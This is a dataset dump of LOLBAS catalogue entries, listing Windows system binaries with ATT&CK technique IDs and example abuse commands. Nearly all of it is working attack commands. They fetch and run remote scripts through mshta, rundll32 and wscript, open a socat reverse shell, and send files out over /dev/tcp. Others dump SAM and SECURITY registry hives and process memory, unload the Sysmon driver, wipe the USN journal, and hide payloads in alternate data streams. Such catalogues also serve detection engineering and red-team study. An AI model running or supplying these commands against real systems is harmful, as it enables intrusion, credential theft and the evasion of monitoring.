deardaniel/secdata-raw huggingface dataset:
LOLBAS — Living Off the Land: Odbcconf.exe
Author: Oddvar Moe

Description:
Used in Windows for managing ODBC connections

Technique — Execute a DLL file using technique that can evade defensive counter measures:
  ATT&CK: T1218.008
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: odbcconf /a {REGSVR {PATH_ABSOLUTE:.dll}}

Technique — Execute dll file using technique that can evade defensive counter measures:
  ATT&CK: T1218.008
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: odbcconf INSTALLDRIVER "lolbas-project|Driver={PATH_ABSOLUTE:.dll}|APILevel=2"
odbcconf configsysdsn "lolbas-project" "DSN=lolbas-project"


Technique — Execute dll file using technique that can evade defensive counter measures:
  ATT&CK: T1218.008
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: odbcconf -f {PATH:.rsp}
LOLBAS — Living Off the Land: Wscript.exe
Author: Oddvar Moe

Description:
Used by Windows to execute scripts

Technique — Execute hidden code to evade defensive counter measures:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wscript //e:vbscript {PATH}:script.vbs

Technique — Execute hidden code to evade defensive counter measures:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: echo GetObject("script:{REMOTEURL:.js}") > {PATH_ABSOLUTE}:hi.js && wscript.exe {PATH_ABSOLUTE}:hi.js
LOLBAS — Living Off the Land: Provlaunch.exe
Author: Grzegorz Tworek

Description:
Launcher process

Technique — Executes arbitrary command:
  ATT&CK: T1218
  OS: Windows 10, Windows 11, Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022
  Command: provlaunch.exe LOLBin
LOLBAS — Living Off the Land: Ldifde.exe
Author: Grzegorz Tworek

Description:
Creates, modifies, and deletes LDAP directory objects.

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows Server with AD Domain Services role,  Windows 10 with AD LDS role.
  Command: Ldifde -i -f {PATH:.ldf}
LOLBAS — Living Off the Land: AppInstaller.exe
Author: Wade Hickey

Description:
Tool used for installation of AppX/MSIX applications on Windows 10

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: start ms-appinstaller://?source={REMOTEURL:.exe}
LOLBAS — Living Off the Land: Rpcping.exe
Author: Oddvar Moe

Description:
Used to verify rpc connection

Technique — Capture credentials on a non-standard port:
  ATT&CK: T1003
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM

Technique — Relay a NTLM authentication over RPC (ncacn_ip_tcp) on a custom port:
  ATT&CK: T1187
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
LOLBAS — Living Off the Land: Sigverif.exe
Author: Moshe Kaplan

Description:
File Signature Verification utility to verify digital signatures of files

Technique — Execute arbitrary programs through a trusted Microsoft-signed binary to bypass application whitelisting.:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 10, Windows 11
  Command: sigverif.exe
LOLBAS — Living Off the Land: Wsreset.exe
Author: Oddvar Moe

Description:
Used to reset Windows Store settings according to its manifest file

Technique — Execute a binary or script as a high-integrity process without a UAC prompt.:
  ATT&CK: T1548.002
  OS: Windows 10, Windows 11
  Command: wsreset.exe
LOLBAS — Living Off the Land: Control.exe
Author: Oddvar Moe

Description:
Binary used to launch controlpanel items in Windows

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1218.002
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: control.exe {PATH_ABSOLUTE}:evil.dll

Technique — Use to execute code and bypass application whitelisting:
  ATT&CK: T1218.002
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: control.exe {PATH_ABSOLUTE:.cpl}
LOLBAS — Living Off the Land: Msedge.exe
Author: mr.d0x

Description:
Microsoft Edge browser

Technique — Download file from the internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: msedge.exe {REMOTEURL:.exe.txt}

Technique — Download file from the internet:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: msedge.exe --headless --enable-logging --disable-gpu --dump-dom "{REMOTEURL:.base64.html}" > {PATH:.b64}

Technique — Executes a process under a trusted Microsoft signed binary:
  ATT&CK: T1218.015
  OS: Windows 10, Windows 11
  Command: msedge.exe --disable-gpu-sandbox --gpu-launcher="{CMD} &&"
LOLBAS — Living Off the Land: wuauclt.exe
Author: David Middlehurst

Description:
Windows Update Client

Technique — Execute dll via attach/detach methods:
  ATT&CK: T1218
  OS: Windows 10
  Command: wuauclt.exe /UpdateDeploymentProvider {PATH_ABSOLUTE:.dll} /RunHandlerComServer
LOLBAS — Living Off the Land: ssh.exe
Author: Akshat Pradhan

Description:
Ssh.exe is the OpenSSH compatible client can be used to connect to Windows 10 (build 1809 and later) and Windows Server 2019 devices.

Technique — Execute specified command, can be used for defense evasion.:
  ATT&CK: T1202
  OS: Windows 10 1809, Windows Server 2019
  Command: ssh localhost "{CMD}"

Technique — Performs execution of specified file, can be used as a defensive evasion.:
  ATT&CK: T1202
  OS: Windows 10
  Command: ssh -o ProxyCommand="{CMD}" .
LOLBAS — Living Off the Land: Wab.exe
Author: Oddvar Moe

Description:
Windows address book manager

Technique — Execute dll file. Bypass defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wab.exe
LOLBAS — Living Off the Land: Aspnet_Compiler.exe
Author: Jimmy (@bohops)

Description:
ASP.NET Compilation Tool

Technique — Execute proxied payload with Microsoft signed binary to bypass application control solutions:
  ATT&CK: T1127
  OS: Windows 10, Windows 11
  Command: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u
LOLBAS — Living Off the Land: Tttracer.exe
Author: Oddvar Moe

Description:
Used by Windows 1809 and newer to Debug Time Travel

Technique — Spawn process using other binary:
  ATT&CK: T1127
  OS: Windows 10 1809 and newer, Windows 11
  Command: tttracer.exe {PATH_ABSOLUTE:.exe}

Technique — Dump process by PID:
  ATT&CK: T1003
  OS: Windows 10 1809 and newer, Windows 11
  Command: TTTracer.exe -dumpFull -attach {PID}
LOLBAS — Living Off the Land: Infdefaultinstall.exe
Author: Oddvar Moe

Description:
Binary used to perform installation based on content inside inf files

Technique — Code execution:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: InfDefaultInstall.exe {PATH:.inf}
LOLBAS — Living Off the Land: Ie4uinit.exe
Author: Oddvar Moe

Description:
Executes commands from a specially prepared ie4uinit.inf file.

Technique — Get code execution by copy files to another location:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: ie4uinit.exe -BaseSettings
LOLBAS — Living Off the Land: Esentutl.exe
Author: Oddvar Moe

Description:
Binary for working with Microsoft Joint Engine Technology (JET) database

Technique — Copies files from A to B:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: esentutl.exe /y {PATH_ABSOLUTE:.source.vbs} /d {PATH_ABSOLUTE:.dest.vbs} /o

Technique — Copy file and hide it in an alternate data stream as a defensive counter measure:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: esentutl.exe /y {PATH_ABSOLUTE:.exe} /d {PATH_ABSOLUTE}:file.exe /o

Technique — Extract hidden file within alternate data streams:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: esentutl.exe /y {PATH_ABSOLUTE}:file.exe /d {PATH_ABSOLUTE:.exe} /o

Technique — Copy file and hide it in an alternate data stream as a defensive counter measure:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: esentutl.exe /y {PATH_SMB:.exe} /d {PATH_ABSOLUTE}:file.exe /o

Technique — Use to copy files from one unc path to another:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: esentutl.exe /y {PATH_SMB:.source.exe} /d {PATH_SMB:.dest.exe} /o
LOLBAS — Living Off the Land: Jsc.exe
Author: Oddvar Moe

Description:
Binary file used by .NET to compile JavaScript code to .exe or .dll format

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: jsc.exe {PATH:.js}

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: jsc.exe /t:library {PATH:.js}
LOLBAS — Living Off the Land: Reset.exe
Author: Matan Bahar

Description:
Remote Desktop Services Reset Utility

Technique — Execute an arbitrary executable via trusted system executable.:
  ATT&CK: T1218
  OS: Windows 10, Windows 11
  Command: reset.exe session
LOLBAS — Living Off the Land: Finger.exe
Author: Ruben Revuelta

Description:
Displays information about a user or users on a specified remote computer that is running the Finger service or daemon

Technique — Download malicious payload:
  ATT&CK: T1105
  OS: Windows 8.1, Windows 10, Windows 11, Windows Server 2008, Windows Server 2008R2, Windows Server 2012, Windows Server 2012R2, Windows Server 2016, Windows Server 2019, Windows Server 2022
  Command: finger user@example.host.com | more +2 | cmd
LOLBAS — Living Off the Land: Wmic.exe
Author: Oddvar Moe

Description:
The WMI command-line (WMIC) utility provides a command-line interface for WMI

Technique — Execute binary file hidden in Alternate data streams to evade defensive counter measures:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"

Technique — Execute binary from wmic to evade defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wmic.exe process call create "{CMD}"

Technique — Execute binary on a remote system:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wmic.exe /node:"192.168.0.1" process call create "{CMD}"

Technique — Execute binary on remote system:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wmic.exe process get brief /format:"{REMOTEURL:.xsl}"

Technique — Execute script from remote system:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: wmic.exe process get brief /format:"{PATH_SMB:.xsl}"
LOLBAS — Living Off the Land: Stordiag.exe
Author: Eral4m

Description:
Storage diagnostic tool

Technique — Possible defence evasion purposes.:
  ATT&CK: T1218
  OS: Windows 10
  Command: stordiag.exe

Technique — Possible defence evasion purposes.:
  ATT&CK: T1218
  OS: Windows 11
  Command: stordiag.exe
LOLBAS — Living Off the Land: Reg.exe
Author: Oddvar Moe

Description:
Used to manipulate the registry

Technique — Hide/plant registry information in Alternate data stream for later use:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg

Technique — Dump credentials from the Security Account Manager (SAM):
  ATT&CK: T1003.002
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}
LOLBAS — Living Off the Land: Microsoft.Workflow.Compiler.exe
Author: Conor Richard

Description:
A utility included with .NET that is capable of compiling and executing C# or VB.net code.

Technique — Compile and run code:
  ATT&CK: T1127
  OS: Windows 10S, Windows 11
  Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}

Technique — Compile and run code:
  ATT&CK: T1127
  OS: Windows 10S, Windows 11
  Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}

Technique — Compile and run code:
  ATT&CK: T1127
  OS: Windows 10S, Windows 11
  Command: Microsoft.Workflow.Compiler.exe {PATH} {PATH:.log}
LOLBAS — Living Off the Land: Cscript.exe
Author: Oddvar Moe

Description:
Binary used to execute scripts in Windows

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cscript //e:vbscript {PATH_ABSOLUTE}:script.vbs
LOLBAS — Living Off the Land: Cmdkey.exe
Author: Oddvar Moe

Description:
creates, lists, and deletes stored user names and passwords or credentials.

Technique — Get credential information from host:
  ATT&CK: T1078
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cmdkey /list
LOLBAS — Living Off the Land: Bash.exe
Author: Oddvar Moe

Description:
File used by Windows subsystem for Linux

Technique — Performs execution of specified file, can be used as a defensive evasion.:
  ATT&CK: T1202
  OS: Windows 10
  Command: bash.exe -c "{CMD}"

Technique — Performs execution of specified file, can be used as a defensive evasion.:
  ATT&CK: T1202
  OS: Windows 10
  Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"

Technique — Performs execution of specified file, can be used as a defensive evasion.:
  ATT&CK: T1202
  OS: Windows 10
  Command: bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'

Technique — Performs execution of specified file, can be used to bypass Application Whitelisting.:
  ATT&CK: T1202
  OS: Windows 10
  Command: bash.exe -c "{CMD}"

Technique — Execute a payload as a child process of `bash.exe` while masquerading as WSL.:
  ATT&CK: T1218
  OS: Windows 10, Windows Server 2019, Windows 11
  Command: bash.exe
LOLBAS — Living Off the Land: Netsh.exe
Author: Freddie Barr-Smith

Description:
Netsh is a Windows tool used to manipulate network interface settings.

Technique — Proxy execution of .dll:
  ATT&CK: T1546.007
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: netsh.exe add helper {PATH_ABSOLUTE:.dll}
LOLBAS — Living Off the Land: Fsutil.exe
Author: Elliot Killick

Description:
File System Utility

Technique — Can be used to forensically erase a file:
  ATT&CK: T1485
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: fsutil.exe file setZeroData offset=0 length=[PII_REDACTED] {PATH_ABSOLUTE}

Technique — Can be used to hide file creation activity:
  ATT&CK: T1485
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: fsutil.exe usn deletejournal /d c:

Technique — Spawn a pre-planted executable from fsutil.exe.:
  ATT&CK: T1218
  OS: Windows 11
  Command: fsutil.exe trace decode
LOLBAS — Living Off the Land: fltMC.exe
Author: John Lambert

Description:
Filter Manager Control Program used by Windows

Technique — Defense evasion:
  ATT&CK: T1562.001
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: fltMC.exe unload SysmonDrv
LOLBAS — Living Off the Land: Regedit.exe
Author: Oddvar Moe

Description:
Used by Windows to manipulate registry

Technique — Hide registry data in alternate data stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regedit /E {PATH_ABSOLUTE}:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey

Technique — Import hidden registry data from alternate data stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: regedit {PATH_ABSOLUTE}:regfile.reg
LOLBAS — Living Off the Land: Tar.exe
Author: Brian Lucero

Description:
Used by Windows to extract and create archives.

Technique — Can be used to evade defensive countermeasures, or to hide as part of a persistence mechanism:
  ATT&CK: T1564.004
  OS: Windows 10, Windows 11
  Command: tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}

Technique — Can be used to evade defensive countermeasures, or to hide as part of a persistence mechanism:
  ATT&CK: T1564.004
  OS: Windows 10, Windows 11
  Command: tar -xf {PATH}:ads

Technique — Copy files:
  ATT&CK: T1105
  OS: Windows 10, Windows 11
  Command: tar -xf {PATH_SMB:.tar}
LOLBAS — Living Off the Land: Pnputil.exe
Author: Hai vaknin (lux)

Description:
Used for installing drivers

Technique — Add malicious driver:
  ATT&CK: T1547
  OS: Windows 7, Windows 10, Windows 11
  Command: pnputil.exe -i -a {PATH_ABSOLUTE:.inf}
LOLBAS — Living Off the Land: Msconfig.exe
Author: Oddvar Moe

Description:
MSConfig is a troubleshooting tool which is used to temporarily disable or re-enable software, device drivers or Windows services that run during startup process to help the user determine the cause of a problem with Windows

Technique — Code execution using Msconfig.exe:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  Command: Msconfig.exe -5
LOLBAS — Living Off the Land: vbc.exe
Author: Lior Adar

Description:
Binary file used for compile vbs code

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows 7, Windows 10, Windows 11
  Command: vbc.exe /target:exe {PATH_ABSOLUTE:.vb}

Technique — Compile attacker code on system. Bypass defensive counter measures.:
  ATT&CK: T1127
  OS: Windows 7, Windows 10, Windows 11
  Command: vbc -reference:Microsoft.VisualBasic.dll {PATH_ABSOLUTE:.vb}
LOLBAS — Living Off the Land: cmdl32.exe
Author: Elliot Killick

Description:
Microsoft Connection Manager Auto-Download

Technique — Download file from Internet:
  ATT&CK: T1105
  OS: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: cmdl32 /vpn /lan %cd%\config
LOLBAS — Living Off the Land: Mshta.exe
Author: Oddvar Moe

Description:
Used by Windows to execute html applications. (.hta)

Technique — Execute code:
  ATT&CK: T1218.005
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: mshta.exe {PATH:.hta}

Technique — Execute code:
  ATT&CK: T1218.005
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))

Technique — Execute code:
  ATT&CK: T1218.005
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();

Technique — Execute code hidden in alternate data stream:
  ATT&CK: T1218.005
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
  Command: mshta.exe "{PATH_ABSOLUTE}:file.hta"

Technique — Downloads payload from remote server:
  ATT&CK: T1105
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: mshta.exe {REMOTEURL}
LOLBAS — Living Off the Land: OfflineScannerShell.exe
Author: Elliot Killick

Description:
Windows Defender Offline Shell

Technique — Can be used to evade defensive countermeasures or to hide as a persistence mechanism:
  ATT&CK: T1218
  OS: Windows 10, Windows 11
  Command: OfflineScannerShell
LOLBAS — Living Off the Land: Setres.exe
Author: Grzegorz Tworek

Description:
Configures display settings

Technique — Executes arbitrary code:
  ATT&CK: T1218
  OS: Windows Server 2012, Windows Server 2016, Windows Server 2019, Windows Server 2022
  Command: setres.exe -w 800 -h 600
LOLBAS — Living Off the Land: Makecab.exe
Author: Oddvar Moe

Description:
Binary to package existing files into a cabinet (.cab) file

Technique — Hide data compressed into an alternate data stream:
  ATT&CK: T1564.004
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cab

Technique — Hide data compressed into an alternate data stream:
  ATT&CK: T1564.004
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cab

Technique — Download file and compress into a cab file:
  ATT&CK: T1105
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}

Technique — Bypass command-line based detections:
  ATT&CK: T1036
  OS: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: makecab /F {PATH:.ddf}
LOLBAS — Living Off the Land: DataSvcUtil.exe
Author: Ialle Teixeira

Description:
DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.

Technique — Upload file:
  ATT&CK: T1567
  OS: Windows 10
  Command: DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}
LOLBAS — Living Off the Land: Rundll32.exe
Author: Oddvar Moe

Description:
Used by Windows to execute dll files

Technique — Execute DLL file:
  ATT&CK: T1218.011
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rundll32.exe {PATH},EntryPoint

Technique — Execute DLL from SMB share.:
  ATT&CK: T1218.011
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rundll32.exe {PATH_SMB:.dll},EntryPoint

Technique — Execute code from Internet:
  ATT&CK: T1218.011
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")

Technique — Execute code from alternate data stream:
  ATT&CK: T1564.004
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: rundll32 "{PATH}:ADSDLL.dll",DllMain

Technique — Execute a DLL/EXE COM server payload or ScriptletURL code.:
  ATT&CK: T1218.011
  OS: Windows 10 (and likely previous versions), Windows 11
  Command: rundll32.exe -sta {CLSID}
LOLBAS — Living Off the Land: Rasautou.exe
Author: Tony Lambert

Description:
Windows Remote Access Dialer

Technique — Execute DLL code:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1
  Command: rasautou -d {PATH:.dll} -p export_name -a a -e e
LOLBAS — Living Off the Land: Runonce.exe
Author: Oddvar Moe

Description:
Executes a Run Once Task that has been configured in the registry

Technique — Persistence, bypassing defensive counter measures:
  ATT&CK: T1218
  OS: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
  Command: Runonce.exe /AlternateShellStartup